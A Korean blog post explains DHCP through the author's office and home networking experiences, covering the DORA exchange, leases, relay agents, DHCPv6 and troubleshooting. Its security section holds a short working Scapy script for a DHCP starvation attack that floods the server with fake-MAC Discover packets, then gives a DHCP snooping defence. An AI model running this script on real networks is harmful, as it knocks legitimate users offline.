DHCP: IP 주소 자동 배정소

왜 DHCP를 공부하게 되었나

2년 전, 스타트업을 막 시작했을 때의 일입니다. 초보 개발자였던 저는 개발 환경 설정을 받고 있었습니다. 선배가 제 노트북 네트워크 설정을 보더니 이렇게 말했습니다.

"아, 이거 자동으로 받기로 해놔야 해. DHCP 활성화 해야지."

저는 멍하니 물었습니다. "DHCP가 뭔데요?"

선배는 웃으며 대답했습니다. "그냥 IP 자동으로 받는 거야. 신경 쓸 필요 없어."

그 말이 오히려 더 궁금하게 만들었습니다. IP를 자동으로 받는다는 게 도대체 무슨 원리일까?

몇 달 후, 집에서 공유기를 직접 설정할 일이 생겼습니다. 설정 페이지를 열어보니 "DHCP 서버 활성화" 체크박스가 있더라고요. 이게 뭐지? 켜두는 게 맞나? 꺼두는 게 맞나? 그냥 체크만 되어있을 뿐, 저는 아무것도 모르고 있었습니다.

더 황당했던 건, 스타트업에서 사무실을 처음 구축할 때였습니다. 네트워크 장비 업체 담당자가 "DHCP 서버는 어디에 두실 건가요?"라고 물었는데, 저는 대답을 못 했습니다. 그 순간 깨달았죠. 나는 개발자인데, 네트워크의 기본도 모르고 있구나.

제대로 알고 싶어서 공부를 시작했습니다.

처음엔 뭐가 이해가 안 갔나

"Dynamic Host Configuration Protocol"

이 단어를 처음 봤을 때의 당황스러움이란... 각 단어는 다 아는데, 합쳐지니 뭔 소린지 모르겠더라고요.

• Dynamic(동적)은 뭐가 동적이지? IP가 계속 바뀐다는 건가?
• Host(호스트)는 PC를 말하는 건가? 서버를 말하는 건가?
• Configuration(설정)은 무슨 설정? 뭘 설정한다는 거야?
• Protocol(프로토콜)은... 통신 규칙? 근데 누가 누구랑 통신해?

가장 이해가 안 갔던 건, 왜 굳이 자동으로 받아야 하는지였습니다. "그냥 IP 주소 192.168.0.100 이렇게 박아두면 되는 거 아닌가? 왜 이렇게 복잡하게 자동으로 받고 어쩌고 하는 거야?"

그때 저는 몰랐습니다. 100대 규모의 네트워크를 수동으로 관리하는 게 얼마나 지옥인지를.

깨달음의 순간 - "자동 번호표 발급기"

DHCP를 제대로 이해한 건 한 블로그 글에서 본 비유 덕분이었습니다. 정말 와닿았던 비유라 지금도 기억에 남습니다.

"카페에 100명이 들어올 수 있는데, 자리는 50개밖에 없습니다.

옛날 방식 (고정 IP, Static IP):

• 손님마다 '나는 3번 테이블'이라고 미리 정해둠
• 3번 테이블 주인이 오늘 안 와도 그 자리는 계속 비어있음
• 새 손님이 와서 '나 3번이요' 했는데, 다른 손님도 '어? 나도 3번인데?' → 충돌 발생
• 손님이 떠나도 자리 회수가 제대로 안 됨

DHCP 방식 (동적 IP, Dynamic IP):

• 손님이 오면 카운터 직원(DHCP 서버)이 빈 자리를 찾아서 '오늘은 12번 테이블 쓰세요'라고 번호표를 발급
• 2시간이 지나면 번호표가 만료됨 → 자리를 자동 반납하거나 연장 가능
• 항상 빈 자리를 효율적으로 활용할 수 있음
• 손님이 나가면 그 자리는 바로 다음 손님에게 배정 가능"

이 비유를 읽고 나서야 비로소 이해했습니다. 결국 이거였구나! DHCP는 IP 주소라는 한정된 자원을 효율적으로 관리하는 시스템이었습니다.

DHCP가 필요한 이유 - 수동 IP 설정의 지옥

스타트업에서 사무실 네트워크를 구축할 때 실제로 겪은 일입니다.

처음엔 "PC가 10대밖에 안 되는데 뭐 DHCP까지 필요해?"라고 생각했습니다. 그냥 각 PC에 고정 IP를 설정하면 되지 않을까?

첫 주:

• PC 10대에 192.168.0.10부터 192.168.0.19까지 수동으로 설정
• 엑셀에 "IP 관리 대장" 만들어서 누가 어떤 IP 쓰는지 기록
• "이 정도면 괜찮은데?"

한 달 후:

• 신입 직원 3명 입사 → "빈 IP가 뭐였지?" 엑셀 열어서 확인
• 한 직원의 노트북에서 "IP 충돌" 에러 발생 → 알고 보니 제가 엑셀 업데이트를 깜빡해서 중복 배정
• 2시간 동안 네트워크 안 됨 → 팀 전체 업무 마비

3개월 후:

• PC 30대로 증가
• 퇴사자 IP 회수 안 해서 IP 범위가 엉망
• 회의실 TV, 프린터, IoT 센서까지 추가되면서 완전 헬게이트
• 저는 "IP 관리자"라는 별명을 얻음 (좋은 의미가 아닙니다...)

이때 깨달았습니다: 100대 규모의 사무실이었다면 저는 IP 관리만 하다가 퇴사했을 겁니다. 진짜로 미칩니다.

DHCP 도입 후

결국 제대로 된 공유기를 사서 DHCP를 활성화했습니다.

DHCP 서버: 활성화
IP 범위: 192.168.0.100 ~ 192.168.0.200 (100개)
서브넷 마스크: 255.255.255.0
게이트웨이: 192.168.0.1
DNS: 8.8.8.8, 8.8.4.4
임대 시간: 24시간

그 후로:

• 새 직원이 와도 그냥 WiFi 비밀번호만 알려주면 끝
• IP 충돌? 한 번도 안 남
• 엑셀 IP 대장? 버림
• 제 시간? 개발에만 집중 가능

진작에 정리해볼 걸 그랬습니다. DHCP는 네트워크 관리자의 정신 건강을 지켜주는 기술이었습니다.

DHCP 동작 과정 - DORA 4단계

DHCP가 IP를 할당하는 과정은 DORA라는 4단계로 이루어집니다. 실제로 Wireshark로 패킷을 캡처해보면 정확히 이 순서대로 패킷이 오가는 걸 볼 수 있습니다.

1. Discover (발견) - "DHCP 서버 있나요?"

[내 노트북] "여기 새로 온 PC인데요, DHCP 서버 계신가요? 대답해주세요!"
             (브로드캐스트: 255.255.255.255:67로 UDP 패킷 송신)

Source IP: 0.0.0.0 (아직 IP가 없으니까)
Destination IP: 255.255.255.255 (전체 브로드캐스트)
Source MAC: 00:1A:2B:3C:4D:5E (내 맥 주소)

노트북이 네트워크에 처음 연결되면, 모든 기기에게 "DHCP 서버 누구세요?"라고 외칩니다. 이 단계에서는 아직 IP 주소가 없기 때문에 Source IP가 0.0.0.0입니다.

실제로 Linux에서 DHCP 요청을 시작하려면:

# DHCP 클라이언트 시작 (Discover 패킷 송신)
sudo dhclient -v eth0

# 출력:
# Listening on LPF/eth0/00:1a:2b:3c:4d:5e
# Sending on   LPF/eth0/00:1a:2b:3c:4d:5e
# Sending on   Socket/fallback
# DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 3

2. Offer (제안) - "이 IP 쓸래요?"

[DHCP 서버] "저 여기 있어요! 192.168.0.155 비었는데 쓸래요?"

제공 내용:
- IP 주소: 192.168.0.155
- 서브넷 마스크: 255.255.255.0 (같은 네트워크 범위)
- 게이트웨이: 192.168.0.1 (공유기 주소, 외부 인터넷 연결용)
- DNS 서버: 8.8.8.8, 8.8.4.4 (구글 DNS)
- 임대 시간: 86400초 (24시간)
- DHCP 서버 IP: 192.168.0.1

DHCP 서버가 응답합니다. 네트워크에 DHCP 서버가 여러 개 있다면, 각각이 다 Offer를 보낼 수 있습니다. PC는 보통 가장 먼저 도착한 Offer를 선택합니다.

# dhclient 출력 계속:
# DHCPOFFER of 192.168.0.155 from 192.168.0.1
# DHCPREQUEST for 192.168.0.155 on eth0 to 255.255.255.255 port 67

3. Request (요청) - "네, 그거 주세요!"

[내 노트북] "좋아요! 192.168.0.155 제가 쓸게요!"
            (다시 브로드캐스트로 확정 의사 표시)

Source IP: 0.0.0.0 (아직도 IP 할당 전)
Destination IP: 255.255.255.255 (브로드캐스트)
Requested IP: 192.168.0.155
Server Identifier: 192.168.0.1

왜 브로드캐스트로 보낼까요? 유니캐스트로 DHCP 서버에게만 보내면 되는 거 아닌가요?

이유: 네트워크에 DHCP 서버가 여러 개 있을 수 있습니다. 예를 들어, 제가 첫 번째 서버의 Offer를 선택했다면, 나머지 DHCP 서버들에게도 "저는 첫 번째 서버 선택했어요"라고 알려야 합니다. 그래야 나머지 서버들이 제공한 IP를 회수할 수 있습니다.

4. Acknowledge (확인) - "승인!"

[DHCP 서버] "오케이! 192.168.0.155는 네 거야. 24시간 동안 써."

Source IP: 192.168.0.1 (DHCP 서버)
Destination IP: 192.168.0.155 (이제 내 IP로 확정)
Lease Time: 86400초
Renewal Time (T1): 43200초 (50%, 12시간 후 갱신)
Rebinding Time (T2): 75600초 (87.5%, 21시간 후 재시도)

DHCP 서버가 최종 승인합니다. 이제 제 노트북은 정식으로 IP 주소를 받았고, 인터넷을 쓸 수 있습니다!

# dhclient 출력 마지막:
# DHCPACK of 192.168.0.155 from 192.168.0.1
# bound to 192.168.0.155 -- renewal in 43200 seconds.

실제로 내 IP 확인:

ip addr show eth0

# 출력:
# eth0: <BROADCAST,MULTICAST,UP,LOWER_UP>
#     inet 192.168.0.155/24 brd 192.168.0.255 scope global dynamic eth0
#        valid_lft 86400sec preferred_lft 86400sec

Wireshark로 직접 확인하기

DHCP 과정을 눈으로 보고 싶다면 Wireshark를 사용하면 됩니다:

# Wireshark 필터
udp.port == 67 or udp.port == 68

# 또는 더 간단하게
bootp

캡처하면 이렇게 보입니다:

1. DHCP Discover   (Client → Broadcast)
2. DHCP Offer      (Server → Client)
3. DHCP Request    (Client → Broadcast)
4. DHCP Ack        (Server → Client)

IP 임대(Lease)의 개념 - 소유가 아니라 대여

DHCP로 받은 IP는 영구 소유가 아닙니다. 시간제 임대입니다. 이 개념을 받아들였을 때 DHCP의 효율성이 확실히 이해되었습니다.

임대 시간 (Lease Time)

집 공유기: 보통 24시간 (86400초)

• 이유: PC나 스마트폰이 하루 종일 집에 있으니까 길게 설정
• 재부팅해도 같은 IP 받을 확률이 높음

회사 네트워크: 8시간 (28800초)

• 이유: 직원들이 퇴근하면 IP 반납, 효율적 재사용
• 아침에 출근하면 다른 IP 받을 수도 있음

카페 WiFi: 2시간 (7200초)

• 이유: 손님 회전율이 빠름
• 테이블 자리처럼 빨리 비워줘야 다음 손님이 쓸 수 있음

호텔 WiFi: 1시간 (3600초)

• 이유: 체크인/체크아웃이 빈번하고, 보안상 짧게 설정
• 장기 투숙객은 계속 자동 갱신됨

갱신 (Renewal) - T1 시점

임대 시간의 50%가 지나면 자동으로 갱신을 시도합니다. 이걸 T1 타이머라고 합니다.

24시간 임대를 받음
→ 12시간 후 (50% 시점): "연장해주세요" (DHCP Request 재송신)
→ DHCP 서버: "오케이, 24시간 더 줄게" (ACK)
→ 다시 24시간 카운트 시작

이 과정은 백그라운드에서 조용히 일어납니다. 사용자는 전혀 눈치채지 못합니다.

# Linux에서 임대 정보 확인
cat /var/lib/dhcp/dhclient.leases

# 출력:
# lease {
#   interface "eth0";
#   fixed-address 192.168.0.155;
#   option subnet-mask 255.255.255.0;
#   option routers 192.168.0.1;
#   option dhcp-lease-time 86400;
#   option dhcp-renewal-time 43200;    # T1: 50%
#   option dhcp-rebinding-time 75600;  # T2: 87.5%
#   renew 3 2025/05/08 12:00:00;
#   expire 4 2025/05/09 00:00:00;
# }

재바인딩 (Rebinding) - T2 시점

만약 T1 시점에 원래 DHCP 서버가 응답을 안 하면? (서버가 고장났거나 네트워크 문제)

임대 시간의 87.5% 시점(T2 타이머)에 브로드캐스트로 다시 요청합니다. "원래 서버 말고 다른 DHCP 서버 있으면 대답해주세요!"

→ 21시간 후 (87.5% 시점): 브로드캐스트로 "아무 서버나 대답해주세요!"
→ 백업 DHCP 서버: "내가 연장해줄게"

반납 (Release)

PC를 끄거나 WiFi를 끊으면 정상적으로 IP를 반납합니다:

# 수동으로 IP 반납하기
sudo dhclient -r eth0

# 출력:
# Removed stale PID file
# Killed old client process

반납하면 DHCP 서버는 그 IP를 다시 풀(Pool)에 넣어서 다른 기기에게 줄 수 있습니다.

하지만 실제로는 비정상 종료가 더 많습니다:

• 노트북 배터리가 갑자기 나감
• WiFi 범위 밖으로 나감
• 강제 종료

이 경우 DHCP 서버는 임대 시간이 만료될 때까지 기다렸다가 IP를 회수합니다.

실제 사례들

사례 1 - 카페 WiFi의 비밀

제가 자주 가는 카페에서 노트북을 켜면:

1. Discover: "DHCP 서버 있나요?"
2. Offer: "192.168.1.105 줄게, 2시간 동안"
3. Request: "그거 쓸게요"
4. Ack: "승인!"

2시간 후:

• 계속 작업 중이면: 백그라운드에서 자동 갱신 (1시간 시점에)
• 카페를 나가면: IP 반납 → 다음 손님이 그 IP 받음

가끔 카페에서 오래 있으면 WiFi가 1~2초 끊겼다 붙는 이유: 바로 이 갱신(Renewal) 과정 때문입니다. 대부분의 경우 부드럽게 넘어가지만, 가끔 짧은 끊김이 발생할 수 있습니다.

사례 2 - Docker 컨테이너 네트워크

Docker도 내부적으로 DHCP와 비슷한 방식을 씁니다. docker network를 만들면:

# Docker 네트워크 생성
docker network create --subnet=172.20.0.0/16 mynet

# 컨테이너 실행
docker run -d --network mynet nginx

# 자동으로 172.20.0.2 같은 IP가 할당됨
docker inspect <container_id> | grep IPAddress

# 출력:
# "IPAddress": "172.20.0.2"

Docker는 IPAM(IP Address Management) 드라이버를 통해 컨테이너에게 자동으로 IP를 할당합니다. 컨테이너가 종료되면 IP를 회수하고, 새 컨테이너가 생기면 다시 재사용합니다.

사례 3 - AWS VPC의 DHCP Options Set

클라우드 환경에서도 DHCP는 중요합니다. AWS에서 VPC를 만들면 자동으로 DHCP Options Set이 생성됩니다:

# AWS CLI로 DHCP Options 확인
aws ec2 describe-dhcp-options

# 출력 (JSON):
{
  "DhcpOptions": [{
    "DhcpConfigurations": [
      {
        "Key": "domain-name",
        "Values": [{"Value": "ap-northeast-2.compute.internal"}]
      },
      {
        "Key": "domain-name-servers",
        "Values": [{"Value": "AmazonProvidedDNS"}]
      }
    ]
  }]
}

AWS의 EC2 인스턴스는 부팅할 때 DHCP를 통해:

• Private IP 주소 (예: 10.0.1.25)
• VPC의 DNS 서버 주소
• Domain name (ap-northeast-2.compute.internal)

을 자동으로 받습니다.

커스텀 DHCP Options를 만들면 자체 DNS 서버를 지정할 수도 있습니다:

# 커스텀 DHCP Options 생성
aws ec2 create-dhcp-options \
  --dhcp-configurations \
    "Key=domain-name-servers,Values=10.0.0.10,10.0.0.11" \
    "Key=domain-name,Values=mycompany.internal"

사례 4 - 대학 캠퍼스 네트워크의 DHCP Relay

대학 시절, 캠퍼스 네트워크가 어떻게 동작하는지 궁금해서 네트워크 관리실에 가본 적이 있습니다.

문제:

• 캠퍼스에 건물이 10개
• 각 건물은 다른 서브넷 (예: 공대 192.168.1.x, 인문대 192.168.2.x...)
• DHCP 서버는 전산실에 단 1대

의문: 공대 건물에서 "DHCP 서버 있나요?" 하고 브로드캐스트로 외쳐봤자, 전산실까지 안 들리는데?

브로드캐스트는 라우터를 넘지 못합니다. 같은 서브넷 내에서만 전달됩니다.

해결책: DHCP Relay Agent

각 건물의 라우터가 DHCP Relay Agent 역할을 합니다:

[공대 PC] → "DHCP 서버 있나요?" (브로드캐스트)
[공대 라우터] → "어? DHCP 요청이네? 내가 전산실 서버한테 전달해줄게"
[공대 라우터] → 전산실 DHCP 서버에게 유니캐스트로 전달
[전산실 DHCP] → "192.168.1.105 줄게" (공대 라우터에게 응답)
[공대 라우터] → 공대 PC에게 전달

Cisco 라우터 설정 예시:

interface GigabitEthernet0/1
  description Engineering Building Network
  ip address 192.168.1.1 255.255.255.0
  ip helper-address 10.0.0.100    # 전산실 DHCP 서버 IP

ip helper-address 명령어가 바로 DHCP Relay Agent를 활성화하는 설정입니다.

DHCPv6: IPv6 세상에서는?

IPv4에서 IP 주소가 고갈되면서 IPv6로 전환이 진행되고 있습니다. IPv6에서는 DHCP도 업그레이드되었습니다: DHCPv6.

IPv6의 주소 자동 설정 방식

IPv6는 두 가지 방식으로 자동 설정이 가능합니다:

1. SLAAC (Stateless Address Autoconfiguration): 라우터가 보내는 RA(Router Advertisement) 메시지를 받아서 스스로 IP를 생성
2. DHCPv6: DHCPv4와 비슷하게 서버에서 IP를 받음

# Linux에서 DHCPv6 클라이언트 실행
sudo dhclient -6 -v eth0

# 출력:
# Bound to *:546
# Listening on Socket/eth0
# Sending on   Socket/eth0
# PRC: Confirming active lease (INIT-REBOOT).
# XMT: Forming Rebind, 0 ms elapsed.
# RCV: Reply message on eth0 from fe80::1.

DHCPv6 주소는 이렇게 생겼습니다:

2001:0db8:85a3:0000:0000:8a2e:0370:7334

훨씬 길죠. IPv6는 주소 공간이 거의 무한대(2^128개)라서 고갈 걱정이 없습니다.

보안 이슈 - DHCP도 해킹 당할 수 있다

DHCP는 편리하지만, 보안 취약점도 있습니다. 스타트업에서 보안 감사를 받을 때 지적받은 내용들입니다.

1. Rogue DHCP Server (불법 DHCP 서버)

시나리오:

• 누군가 회사 사무실에 자기 개인 공유기를 몰래 가져옴
• 벽에 랜선 꽂음
• 그 공유기도 기본적으로 DHCP 서버가 활성화되어 있음

제 PC가 아침에 부팅되면서 "DHCP 서버 있나요?" 외치는데, 진짜 회사 서버보다 불법 공유기가 더 빨리 응답하면?

[내 PC] → "DHCP 서버 있나요?"
[불법 공유기] → "나 여기! 192.168.100.50 써!" (가장 먼저 응답)
[회사 서버] → "나도 여기! 192.168.0.100 써!" (늦게 응답)

→ 내 PC는 불법 공유기의 IP를 받음

결과:

• 제 PC의 게이트웨이가 불법 공유기로 설정됨
• 모든 인터넷 트래픽이 불법 공유기를 거쳐감
• 해커가 Man-in-the-Middle 공격으로 패킷 엿듣기 가능
• 심지어 가짜 사이트로 리다이렉트도 가능

실제로 겪은 사례: 한 직원이 "제 책상 근처에 WiFi가 안 잡혀서" 개인 공유기를 몰래 설치했습니다. 악의는 없었지만, 그 주변 10명의 PC가 전부 그 공유기에 연결되어 회사 내부 서버 접속이 안 되는 사태가 발생했습니다.

2. DHCP Starvation (IP 고갈 공격)

공격 방식: 해커가 Python 스크립트를 돌려서 가짜 MAC 주소 수천 개를 생성하고, 각각에 대해 DHCP Discover를 보냅니다:

# 악의적 스크립트 예시 (교육 목적)
from scapy.all import *

for i in range(1, 255):
    fake_mac = f"00:11:22:33:44:{i:02x}"
    dhcp_discover = (
        Ether(dst="ff:ff:ff:ff:ff:ff", src=fake_mac) /
        IP(src="0.0.0.0", dst="255.255.255.255") /
        UDP(sport=68, dport=67) /
        BOOTP(chaddr=fake_mac) /
        DHCP(options=[("message-type", "discover"), "end"])
    )
    sendp(dhcp_discover, iface="eth0")

DHCP 서버는 순진하게 각 요청마다 IP를 할당해줍니다:

• 00:11:22:33:44:01 → 192.168.0.100
• 00:11:22:33:44:02 → 192.168.0.101
• ...
• 00:11:22:33:44:64 → 192.168.0.200

결과: IP 풀이 동남 (Starvation) → 진짜 직원들은 IP를 못 받아서 인터넷 불가 → DoS 공격 성공

3. DHCP Snooping (방어 기법)

이런 공격을 막으려면 네트워크 스위치에서 DHCP Snooping 기능을 활성화해야 합니다.

동작 방식:

1. 스위치가 모든 DHCP 패킷을 감시
2. "신뢰할 수 있는 포트(Trusted Port)"를 지정 → 진짜 DHCP 서버가 연결된 포트
3. 다른 포트에서 DHCP Offer/Ack 패킷이 나오면? → 즉시 차단
4. 과도한 DHCP Discover 요청도 Rate Limiting으로 차단

Cisco 스위치 설정 예시:

# DHCP Snooping 활성화
ip dhcp snooping
ip dhcp snooping vlan 10,20,30

# 신뢰할 수 있는 포트 지정 (DHCP 서버가 연결된 포트)
interface GigabitEthernet0/1
  description Uplink to DHCP Server
  ip dhcp snooping trust

# Rate Limiting (초당 최대 10개 DHCP 요청)
interface range GigabitEthernet0/2-24
  ip dhcp snooping limit rate 10

프로젝트에서 이 설정을 적용한 후로 Rogue DHCP 문제가 완전히 사라졌습니다.

고정 IP vs DHCP - 언제 뭘 써야 할까?

고정 IP (Static IP)가 필요한 경우

서버:

• 웹 서버, DB 서버는 IP가 바뀌면 안 됨
• 클라이언트들이 IP로 접속하니까
• 예: 회사 내부 DB 서버 192.168.0.10

프린터:

• 사무실 PC 30대가 "192.168.0.50"으로 프린터 설정해놨는데, IP가 바뀌면?
• 전부 다시 설정해야 함 (지옥)

CCTV/IoT 장비:

• 관리 프로그램이 IP를 알아야 함
• IP가 자꾸 바뀌면 찾을 수 없음

공유기/라우터:

• 게이트웨이 주소는 고정이어야 함
• 보통 192.168.0.1 또는 192.168.1.1

DHCP Reservation (반고정 IP)

"서버는 고정 IP가 필요한데, 일일이 서버에 가서 설정하기 귀찮아..."

해결책: DHCP Reservation (IP 예약)

DHCP 서버 설정에서 MAC 주소와 IP를 매핑해둡니다:

MAC 주소: 00:1A:2B:3C:4D:5E
예약 IP: 192.168.0.100

이렇게 하면:

• 서버는 DHCP를 통해 자동으로 IP를 받지만
• 항상 192.168.0.100을 받음 (MAC 주소 기반)
• 서버에는 DHCP 설정을 해두고, 공유기에서만 예약 설정

장점:

• 중앙에서 IP 관리 가능 (서버마다 가서 설정 안 해도 됨)
• IP 변경이 필요하면 공유기 설정만 바꾸면 됨

집 공유기 설정 예시:

고정 IP 할당 (DHCP Reservation):

장치명: Synology NAS
MAC: 00:11:32:5E:3C:1A
IP: 192.168.0.10

장치명: Raspberry Pi
MAC: B8:27:EB:7A:3D:9F
IP: 192.168.0.20

삽질담 - 실제로 겪은 DHCP 문제들

삽질 1 - IP 충돌로 아침 출근길 헬게이트

어느 월요일 아침, 출근해서 노트북을 켰는데 "IP 주소 충돌" 에러가 떴습니다.

Windows 네트워크 오류:
"네트워크에서 이 IP 주소를 사용 중인 다른 컴퓨터가 있습니다"

인터넷이 완전히 안 됩니다. 팀 전체 회의가 30분 뒤인데...

원인 파악:

• 회사 네트워크는 기본적으로 DHCP
• 하지만 일부 서버들은 고정 IP 사용
• IT 팀이 서버에 192.168.0.150을 고정 IP로 설정
• 근데 DHCP 범위가 192.168.0.100~200으로 설정되어 있음
• 제 노트북이 아침에 부팅하면서 운 나쁘게 192.168.0.150을 받음
• 충돌 발생!

해결: IT 팀이 DHCP 범위와 고정 IP 범위를 분리했습니다:

DHCP 범위: 192.168.0.100 ~ 192.168.0.199 (100개)
고정 IP 범위: 192.168.0.1 ~ 192.168.0.99 (서버용)
특수 용도: 192.168.0.200 ~ 192.168.0.254 (프린터, CCTV 등)

그 이후로 IP 충돌은 한 번도 없었습니다. 결국 네트워크 설계를 제대로 해야 한다는 걸 이해했습니다.

삽질 2 - DHCP 서버 없음 → APIPA 주소

집 공유기를 공장 초기화했을 때의 일입니다.

초기화 후 PC를 재부팅했는데 인터넷이 안 됐습니다. IP 주소를 확인해보니:

ipconfig

# 출력:
# 이더넷 어댑터 Ethernet:
#   IPv4 주소: 169.254.123.45
#   서브넷 마스크: 255.255.0.0

169.254.x.x? 이게 뭐지?

검색해보니 APIPA (Automatic Private IP Addressing) 라는 기능이었습니다.

APIPA란?:

• Windows/Linux PC가 DHCP 서버를 못 찾으면
• "그래도 네트워크 기능은 써야 하니까"
• 스스로 169.254.0.1~169.254.255.254 범위에서 랜덤 IP를 생성
• 같은 네트워크 내 다른 PC끼리는 통신 가능
• 하지만 외부 인터넷은 당연히 안 됨 (게이트웨이가 없으니까)

원인: 공유기 초기화 후 DHCP 서버 기능이 꺼져 있었습니다.

해결: 공유기 관리 페이지(192.168.0.1) 접속 → DHCP 서버 활성화 → PC 재부팅

DHCP 서버: 켜기 (On)
IP 시작: 192.168.0.100
IP 끝: 192.168.0.200
임대 시간: 86400초 (24시간)

PC가 재부팅되면서 정상적으로 192.168.0.105를 받았습니다.

삽질 3 - 더블 NAT으로 인한 포트포워딩 실패

집에서 홈서버를 운영하려고 포트포워딩을 설정했는데 외부에서 접속이 안 됐습니다.

환경:

• KT 인터넷 → KT 공유기 (192.168.219.1)
• 제 개인 공유기 연결 (192.168.0.1)
• 홈서버: 192.168.0.10

문제: 개인 공유기에서 포트포워딩 설정했는데 안 됨.

원인: 더블 NAT

• KT 공유기가 DHCP로 제 공유기에게 192.168.219.100을 할당
• 제 공유기는 다시 홈서버에게 192.168.0.10을 할당
• 외부 → KT 공유기까지는 도달
• KT 공유기는 192.168.219.100으로 포워딩할 줄 모름 (설정 안 했으니까)

해결:

1. KT 공유기에서도 포트포워딩 설정 (KT 공유기 → 제 공유기)
2. 제 공유기에서도 포트포워딩 설정 (제 공유기 → 홈서버)

또는 더 깔끔하게:

• KT 공유기를 브릿지 모드로 변경
• 제 공유기만 NAT 역할

배운 점: DHCP로 자동 설정이 편하긴 한데, 네트워크 구조를 제대로 이해하지 못하면 나중에 삽질합니다. 정리해본다면, DHCP는 네트워크의 시작점이지, 끝이 아니었습니다.

정리하면

DHCP를 공부하면서 받아들였던 핵심 개념들:

1. 자동 IP 할당의 편리함 - 사람이 일일이 설정할 필요가 없음
2. DORA 4단계 - Discover, Offer, Request, Acknowledge로 신뢰성 있게 IP 배정
3. 임대(Lease) 개념 - IP는 영구 소유가 아니라 시간제 임대, 효율적 재사용
4. DHCP Relay - 브로드캐스트가 라우터를 넘을 수 없는 한계를 중계 에이전트로 해결
5. 보안 취약점 - Rogue DHCP, DHCP Starvation 같은 공격 존재, DHCP Snooping으로 방어
6. 네트워크 설계의 중요성 - DHCP 범위와 고정 IP 범위를 분리해야 충돌 방지

카페에서 WiFi 연결만 하면 "자동으로 인터넷이 되는" 마법 같은 일이 사실은 DHCP라는 명확한 프로토콜 덕분이었습니다. 이제는 공유기 설정 페이지를 열어도 각 항목이 무슨 의미인지 확실히 이해하게 되었고, 회사 네트워크를 설계할 때도 자신 있게 의견을 낼 수 있게 되었습니다.

결국, DHCP는 단순히 "IP 자동 배정"이 아니라, 한정된 자원(IP 주소)을 효율적으로 관리하고 공유하는 분산 시스템이었습니다. 정말 와닿았던 개념입니다.